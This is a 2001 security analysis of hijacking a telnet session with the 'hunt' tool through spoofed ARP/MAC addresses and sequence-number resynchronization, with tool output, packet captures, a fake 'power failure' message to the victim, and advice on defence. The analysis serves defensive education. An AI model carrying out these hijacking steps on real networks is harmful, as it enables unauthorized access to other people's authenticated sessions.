Analysis of a Telnet Session Hijack via Spoofed MAC Addresses and Session Resynchronization

Ed Norris
March 20, 2001

Introduction

The TCP/IP protocol was design for a trusting environment and therefore has insufficient security controls. Because of the design, a number of vulnerabilities exist in the telnet, which provides a remote terminal session, and TCP/IP protocols that allow an attacker to hijack a telnet session, thus appearing to be the original client to the server. Located on the Internet there are many tools that can automate attacks on TCP/IP networks. For this analysis one of those tools, "hunt," will be used to hijack a telnet session via spoofed MAC (Media Access Control) addresses and when the attacker has completed issuing commands, he or she will restore the original telnet connection, through a resynchronization process.

TCP, IP and MAC Addresses

Hosts that communicate using the TCP/IP protocol basically have the same network architecture as the OSI network model, which has 7 layers. As the flow of data moves down the network stack a header is added to the packet at each layer and then sent down to the next layer. When the packet reaches the destination host the reverse takes place, the header is removed and the packet is passed up to the next layer.

The important headers and their addresses for the analysis are TCP, IP, and MAC. At the Transport layer, the TCP headers will contain the port number (address) of each host. The client will be assigned a port number above 1023 (in the examples the port assigned is 1103) and the server's port number will be a predetermined number (telnet is being used and by convention resides at port number 23). At the Network layer, each host will provide its 4-octet IP address in the header. In the examples the client is 10.0.0.154 and the server is 10.0.0.146. At the Data Link layer, a 6-octet Ethernet MAC address is added to the destination and source fields. Every network card has a unique MAC address that is assigned by the IEEE and manufacturer. In the examples the MAC address for the client is 00-50-04-AD-5E-63 and the server's address is 00-20-AF-68-0A-88.

TCP/IP Communication

When a host is connected to a LAN (Local Area Network) and it communicates with another, it tries to determine the MAC address of the destination host by sending out a broadcast "who-has" arp (address resolution protocol) request. The destination host will answer the request with its MAC address. When using a TCP based application, the client will send out a SYN packet. When the packet reaches the Data Link layer, the host adds the destination host's MAC address to the header. The destination host listens for packets that contain its MAC address and when a packet is received the host strips off the Data Link layer header and sends the remainder up to the Network layer for processing.

The setup communication is shown in the example below. The client sends out a broadcast (indicated by the MAC address FF-FF-FF-FF-FF-FF) "who-has" message asking who has the IP address 10.0.0.146

and that host should tell (reply) with a message to 10.0.0.154. The server sends a "reply" message indicating that it has that IP address and its MAC address is 00-20-AF-68-0A-88. The third packet, the client starts the TCP/IP three-way handshake by sending out a SYN packet (indicated by the "S").

```
O:50:4:ad:5e:63 ff:ff:ff:ff:ff:ff 0806 60: arp who-has

10.0.0.146 tell 10.0.0.154



0:20:af:68:a:88 0:50:4:ad:5e:63 0806 60: arp reply

10.0.0.146 is-at 0:20:af:68:a:88



0:50:4:ad:5e:63 0:20:af:68:a:88 0800 60: 10.0.0.154.1103 >

10.0.0.146.23: S 489567416:489567416(0) win 32120
```

Attack Analysis

A telnet session hijack occurs when an attacker intercepts the communication channel after a client has authenticated, itself to the server. It doesn't matter if the authentication process utilizes a one-time password or if the user provided multiple authentications, such as at the firewall and at the host. The attacker resumes the session, thus becoming the client. The attacker must be in the path of the communication (attacker is located on a router) or on the same network segment of either the client or the server for this attack to work. The benefit of this attack, to the attacker, is that he or she does not need to know the user name and password, for successful access to the host.

There are a number of techniques for successfully hijacking the telnet session, this paper only analyzes and documents the use of spoofed MAC addresses. The attack does not require assigned MAC addresses to be successful. The default addresses used by "hunt" are not assigned to any vendor, thus cannot exist on a legitimate network interface.

In order for the attack to succeed, the attacker also needs to determine the TCP/IP sequence numbers and acknowledgements. Placing the attacking host's network interface into promiscuous mode will allow an attacker to determine the sequence numbers and acknowledgements, because telnet packets are sent in clear text. In promiscuous mode all packets are processed by the host's network stack; it ignores the MAC address thus treating all packets as if they were intended for itself.

The attack will be facilitated through the use of the program "hunt" written by kra. The option "arp/simple hijack" is used. When hunt is started it places the network interface into promiscuous mode and keeps track of telnet sessions being started. The attacker can choose which one of those sessions to hijack. Next, the attacker picks a spoofed source and destination MAC address. The original client and server

hosts' network interfaces retain its correct MAC addresses. Because the attacking host has its network interface in promiscuous mode it will process all packets on the LAN segment.

The next option the attacker chooses is whether or not to drop the original connection at the client's host by sending a reset packet to it. In the example below, the attacker decides to keep the client's session "alive", as it allows the attacker to see what the user is typing at his or her keyboard (even while the session has been hijacked) and a later resynchronization. When the attacker is ready to take over the telnet session he or she presses any key. At this point the attacker has taken over the telnet session and can start issuing shell commands on the server. The attacking software will insert the correct sequence numbers and the acknowledgements for the packets being sent in the hijacked session thus allowing the attacker to continue the connection without problems. The original client can continue to type at his or her keyboard but will get no response from the server. When the attacker is done issuing shell commands, the attacker presses the CTRL-] keys, thus ending the hijacked session.

Because the attacker chose not to dump the original client's connection, the attacker is given the option to reset the connection or synchronize the communication channel, thus giving the telnet session back to the client. The software can do this by keeping track of the input and output characters transmitted, the sequence numbers of the packets and which packets have been acknowledged during the hijack

In the example below the attacker will hijack the telnet session from the client 10.0.0.154 using port 1103 to a server on 10.0.0.146 using port 23. The attacker chooses the default spoofed MAC addresses, which will be advertised to the network. When the session is hijacked, the attacker issues the "whoami" command and then exits. The attacker attempts to resynchronize the connection, hoping the client types in 7 characters, which is the same number the attacker typed (the command plus a carriage return). Telnet sends each character typed on the client in a separate packet, the attacker requires the client to "simulate" the sending of characters to the server to restore the correct sequence numbers and acknowledgements before resynchronizing the original session.

Below is the output from the attacker using "hunt" to hijack the telnet session

```
# ./hunt

/*

* hunt 1.0

* multipurpose connection intruder / sniffer for Linux

* (c) 1998 by kra - http://www.rootshell.com

*/

starting hunt

--- Main Menu --- rcvpkt 0, free/alloc pkt 63/64 ------
```

```
l/w/r) list/watch/reset connections

u) host up

a) arp/simple hijack (avoids ack storm if arp used)

s) simple hijack

d) daemons rst/arp/sniff/mac

o) options

x) exit -- [ http://www.rootshell.com/ ] --

> a

0) 10.0.0.154 [1103] --> 10.0.0.146 [23]

choose conn> 0

arp spoof src in dst y/n [y]>

src MAC [EA:1A:DE:AD:BE:01]>

arp spoof dst in src y/n [y]>

dst MAC [EA:1A:DE:AD:BE:02]>

dump connectin y/n [y]> n

press key to take over of connection

you took over the connection

CTRL-] to break

whoami

ejn

[ejn@host ejn]$

[r]eset connection/[s]ynchronize/[n]one [r]> s
```

```
user have to type 7 chars and print 32 chars to synchronize connection

CTRL-C to break

done
```

Below is the output from a tcpdump data collection using the command "tcpdump –w file" during the attack and "tcpdump –r file –netS" to read the data when the attack was completed. Relative sequence numbers are used and the options field has been edited out for readability.

The client and server have an ongoing telnet session. The last two packets show the server sending 19 bytes of information with a relative packet number 28 and acknowledging relative packet 4 and the client sending no data and acknowledging relative packet 28.

```
0:50:4:ad:5e:63 0:20:af:68:a:88 0800 67: 198.184.128.154.1103 >

198.184.128.146.23: P 2451207171:2451207172(1) ack 1598680616 win 32120

0:20:af:68:a:88



0:50:4:ad:5e:63 0800 67: 198.184.128.146.23 >

198.184.128.154.1103: P 1:2(1) ack 1 win 32120



...



0:20:af:68:a:88 0:50:4:ad:5e:63 0800 85: 198.184.128.146.23 >

198.184.128.154.1103: P 9:28(19) ack 4 win 32120



0:50:4:ad:5e:63 0:20:af:68:a:88 0800 66: 198.184.128.154.1103 >

198.184.128.146.23: . ack 28 win 32120
```

When the attacker decides to take over the telnet session, three peer-to-peer arp "is-at" packets are sent

to the server's MAC address indicating to the server that the client is now at the spoofed MAC address EA-1A-DE-AD-BE-01. The arp table at the server changes to the spoofed MAC address. Next an ICMP "echo request" is sent to the server; checking to see if the server will reply to the spoofed address. The process is repeated sending a message to the client indicating that the server now has the spoofed MAC address EA-1A-DE-AD-BE-02 and checking to see if the client will reply. The arp table at the client is changed because of the "is-at" message.

```
ea:1a:de:ad:be:1 0:20:af:68:a:88 0806 60: arp reply

198.184.128.154 is-at ea:1a:de:ad:be:1



ea:1a:de:ad:be:1 0:20:af:68:a:88 0806 60: arp reply

198.184.128.154 is-at ea:1a:de:ad:be:1



ea:1a:de:ad:be:1 0:20:af:68:a:88 0806 60: arp reply

198.184.128.154 is-at ea:1a:de:ad:be:1



ea:1a:de:ad:be:1 0:20:af:68:a:88 0800 106:

198.184.128.154 > 198.184.128.146: icmp: echo request



0:20:af:68:a:88 ea:1a:de:ad:be:1 0800 106:

198.184.128.146 > 198.184.128.154: icmp: echo reply



ea:1a:de:ad:be:2 0:50:4:ad:5e:63 0806 60: arp reply

198.184.128.146 is-at ea:1a:de:ad:be:2



ea:1a:de:ad:be:2 0:50:4:ad:5e:63 0806 60: arp reply
```

```
198.184.128.146 is-at ea:1a:de:ad:be:2



ea:1a:de:ad:be:2 0:50:4:ad:5e:63 0806 60: arp reply

198.184.128.146 is-at ea:1a:de:ad:be:2



ea:1a:de:ad:be:2 0:50:4:ad:5e:63 0800 106:

198.184.128.146 > 198.184.128.154: icmp: echo request



0:50:4:ad:5e:63 ea:1a:de:ad:be:2 0800 106:

198.184.128.154 > 198.184.128.146: icmp: echo reply
```

The attacker now controls the session; the packets are being sent with spoofed MAC addresses, no other host on the network will process the packets as being theirs, and "hunt" processes all communications with the correct sequence numbers and acknowledgments. The first two packets show "hunt" sending the correct packet information: relative packet number 5 and acknowledgement of relative packet 28 from the client and relative packet number 29 and acknowledgement of relative packet 5 from the server. The last two packets in the hijack session indicate that the server has sent 25 bytes of information with the relative packet number 60 and acknowledged relative packet 11. The attacker has sent no data and acknowledged relative packet 60.

```
ea:1a:de:ad:be:1 0:20:af:68:a:88 0800 60:

198.184.128.154.1103 > 198.184.128.146.23: P 4:5(1) ack 28 win 32120



0:20:af:68:a:88 ea:1a:de:ad:be:1 0800 67:

198.184.128.146.23 > 198.184.128.154.1103: P 28:29(1) ack 5 win 32120



...
```

```
ea:1a:de:ad:be:2 0:50:4:ad:5e:63 0800 79:

198.184.128.146.23 > 198.184.128.154.1103: P 35:60(25) ack 11 win 32120



0:50:4:ad:5e:63 ea:1a:de:ad:be:2 0800 66:

198.184.128.154.1103 > 198.184.128.146.23: . ack 60 win 32120
```

The attacker is finished and attempts to resynchronize the original session. Three arp "is-at" packets are sent telling the server the client's correct MAC address. The arp table at the server changes. The process is repeated with the "client" indicating to the server that it now has the correct MAC address. The arp table at the client is changed because of the "is-at" message. The attacker doesn't send the ICMP echo requests, as the ability of the two original hosts talking with each other is no longer a factor in the success of the hijack attack. A resynchronization will fail if the "is-at" messages are not handled properly on the client or server.

```
0:50:4:ad:5e:63 0:20:af:68:a:88 0806 60:

arp reply 198.184.128.154 is-at 0:50:4:ad:5e:63



0:50:4:ad:5e:63 0:20:af:68:a:88 0806 60:

arp reply 198.184.128.154 is-at 0:50:4:ad:5e:63



0:50:4:ad:5e:63 0:20:af:68:a:88 0806 60:

arp reply 198.184.128.154 is-at 0:50:4:ad:5e:63



0:20:af:68:a:88 0:50:4:ad:5e:63 0806 60:

arp reply 198.184.128.146 is-at 0:20:af:68:a:88
```

```
0:20:af:68:a:88 0:50:4:ad:5e:63 0806 60:

arp reply 198.184.128.146 is-at 0:20:af:68:a:88



0:20:af:68:a:88 0:50:4:ad:5e:63 0806 60:

arp reply 198.184.128.146 is-at 0:20:af:68:a:88
```

"Hunt" does a number of things to resynchronize the connection. If the number of characters the attacker types is greater than the number of characters the original client types during the hijack, "hunt" may send a message to the client asking him or her to type additional characters. If the client has typed more than the attacker, the software will send out additional characters. The number sent from each keyboard has to be the same for the resynchronization to work correctly.

In this particular case, the client (user) received a message at his or her screen that stated "msg from root: power failure – try to type 7 chars". If the user has not been educated to recognize that this is not normal, he or she may type the 7 characters. The attack demonstration assumed the user does as requested. Because the client has done this the sequence numbers and acknowledgements become correct, the client acknowledges relative packet 60 and the server acknowledges relative packet 12, and the session is synchronized. Also, notice that the correct MAC addresses are being used.

```
0:50:4:ad:5e:63 0:20:af:68:a:88 0800 67:

198.184.128.154.1103 > 198.184.128.146.23: P 11:12(1) ack 60 win 32120



0:20:af:68:a:88 0:50:4:ad:5e:63 0800 67:

198.184.128.146.23 > 198.184.128.154.1103: P 60:61(1) ack 12 win 32120



...
```

Conclusions

This is a very simple attack if the malicious user utilizes the "hunt" program. If the attacker chooses to just drop the client, it leaves only minor clues, the arp "is-at" a spoofed MAC address messages, that anything suspicious has taken place. It is not unusual for a network connection to be dropped and most users will not report it. If telnet sessions are required, the use of an encrypted channel will provide protection against this type of attack, as the attack requires clear text. To a lesser extent, switched Ethernet equipment could be utilized to prevent the necessary network sniffing on a LAN segment, but

this does not protect the traffic being sent through routers and other LAN segments.

References

1. Scott, Peter. "TELNET tips." Hytelnet: 1st Directory of Internet Resources. 4 September 1997.
URL: http://www.lights.com/hytelnet/telnet.html (13 March 2001).

2. kra (Krauz, Pavel). "hunt." 1998.
URL: http://www.tml.hut.fi/Opinnot/Tik-110.400/2000/sniffer/hunt.txt (13 March 2001).

3. The 7 layers listed from the lowest to highest are: Physical, Data Link, Network, Transport, Session, Presentation, and Application.

4. Patton, Michael. "Vendor Codes." 2.194. 9 March 1999.
URL: http://www.cavebear.com/CaveBear/Ethernet/vendor.html (14 March 2001)

5. "TCP/IP Basics, the ARP command."
URL: http://www.brother.com/european/networking/chapter14/chapter14_tcpip-arp.html (14 March 2001)

6. An intruder will usually issue commands that insure he or she can gain access to the host at a later point in time. This can be done by adding Trojan software that sets up a server listening on a high number port or adding one or more accounts.

7. "tcpdump man page."
URL: http://www.cs.ucl.ac.uk/staff/J.Chappell/man/tcpdump.html (20 March 2001)

8. The three "arp –a" commands are executed on the server before the hijack, during the hijack, and after the hijack (with edit to remove host name).

```
# arp -a
10.0.0.146 at 00:20:AF:68:0A:88 [ether] on eth0
# arp -a
10.0.0.146 at EA:1A:DE:AD:BE:02 [ether] on eth0
# arp -a
10.0.0.146 at 00:20:AF:68:0A:88 [ether] on eth0
```

9. McClure, Stuart, Scambray, Joel